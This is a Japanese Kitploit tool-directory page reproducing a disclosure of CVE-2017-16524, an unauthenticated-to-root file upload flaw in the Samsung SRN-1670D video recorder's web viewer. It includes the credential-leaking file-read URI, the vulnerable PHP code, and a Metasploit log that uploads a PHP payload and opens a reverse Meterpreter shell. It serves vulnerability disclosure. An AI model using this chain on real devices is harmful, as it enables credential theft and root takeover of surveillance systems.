Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-16524 — 無制限のファイルアップロードの脆弱性 - Web Viewer 1.0.0.193 on Samsung SRN-1670D | Kitploit
ツール/GitHubGitHub/realistic-security/cve-2017-16524
エクスプロイトフレームワーク脆弱性分析ウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubrealistic-security/cve-2017-16524

CVE-2017-16524

無制限のファイルアップロードの脆弱性 - Web Viewer 1.0.0.193 on Samsung SRN-1670D

リポジトリを見る
418年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-16524

発見者

Omar Mezrag - 0xFFFFFF

影響を受ける製品

Samsung ネットワークビデオレコーダー - Web Viewer 1.0.0.193 (Samsung SRN-1670D 上)

製品のベンダー

Hanwha / Samsung Security - https://www.hanwhasecurity.com/

脆弱性の種類

無制限ファイルアップロード脆弱性

攻撃ベクトル

root@kitploit:~
AccessVector (AV): Network
User Interaction (UI): None
Authentication (Au): Requires single instance

影響

root@kitploit:~
Code execution (ROOT)

影響を受けるコンポーネント

root@kitploit:~
network_ssl_upload.php (tested)
network_802_1x1.php (suspected)
network_802_1x2.php (suspected)

説明

Web Viewer 1.0.0.193 (Samsung SRN-1670D デバイス上) は、ファイルアップロードの制限がない脆弱性 (Unrestricted file upload vulnerability) を抱えています。'network_ssl_upload.php' により、リモートの認証済み攻撃者は .php 拡張子のファイル名を使用して任意の PHP コードをアップロード・実行できます。このファイルは upload/ ディレクトリ内のファイルへの直接リクエストを介してアクセスされます。この攻撃を認証するために、攻撃者は CVE-2015-8279 として参照される既存のローカルファイル読み取り脆弱性 (Local File Read Vulnerability) を活用して、Web インターフェースの認証情報を平文で取得できます。これによりリモート攻撃者は、以下の URI へのリクエストを介して Web インターフェースの認証情報を読み取ることができます:

root@kitploit:~
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw 

脆弱なソースコード (network_ssl_upload.php) :

root@kitploit:~
    22 $path = "./upload/";
    23 $file = $_FILES[ "attachFile" ];
    24 $isApply = ( int )$_POST[ "is_apply" ];
    25 $isInstall = ( int )$_POST[ "isInstall" ];
    26 $isCertFlag = ( int )$_POST[ "isCertFlag" ];
    27 
    28 // create socket
    29 $N_message = "";
    30 $sock = mySocket_create($_is_unix_socket);
    31 $connected = mySocket_connect($_is_unix_socket, $sock);
    32 
    33 $loginInfo = new loginInfo();
    34 $retLogin = loginManager( $connected, $sock, null, $loginInfo );
    35 if ( ( $retLogin == true ) && ( $isApply == 2 || $isApply == 3 ) ) {
    36  if ($connected) {
    37   $id = $loginInfo->get_id();
    38   $xmlFile = $id.'_config.xml';
    39   $N_message = "dummy".nvr_command::DELIM;
    40   $N_message .= "userid ".$id.nvr_command::DELIM;
    41   
    42   if ( $isInstall == 1 ) {
    43    // File upload ===============================================================  
    44    if ( $file[ "error" ] 0 ) {
    45     $Error = "Error: ".$file[ "error" ];
    46    } else {
    47     $retFile = @copy( $file[ "tmp_name" ], $path.$file[ "name" ] );
    48    }
    49    // ===========================================================================
    50   }

PoC

Metasploit モジュール: samsung_srv_1670d_upload_exec

root@kitploit:~
msf exploit(samsung_srv_1670d_upload_exec) > show options 

Module options (exploit/multi/http/samsung_srv_1670d_upload_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.200      yes       The target address.
   RPORT    80               yes       The target port (TCP).
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.122      yes       The listen address
   LPORT  4358             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Samsung SRN-1670D == 1.0.0.193


msf exploit(samsung_srv_1670d_upload_exec) > exploit -j 
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.1.122:4358 
msf exploit(samsung_srv_1670d_upload_exec) > [*] Obtaining credentails...
[+] Credentials obtained successfully: admin:pass123!
[*] Logging...
[+] Authentication Succeeded
[*] Generating payload[ eRdGKfFJ.php ]...
[*] Uploading payload...
[*] Executing payload...
[*] Sending stage (33986 bytes) to 192.168.1.200
[*] Meterpreter session 3 opened (192.168.1.122:4358 -> 192.168.1.200:55676) at 2017-06-19 11:52:22 +0100

追加情報

同じ脆弱性の影響を受ける可能性がある他のスクリプトとして 'network_802_1x1.php' や 'network_802_1x2.php' がありますが、テストは行っていません。

参考文献

CVE-2015-8279: http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html

ツールをダウンロード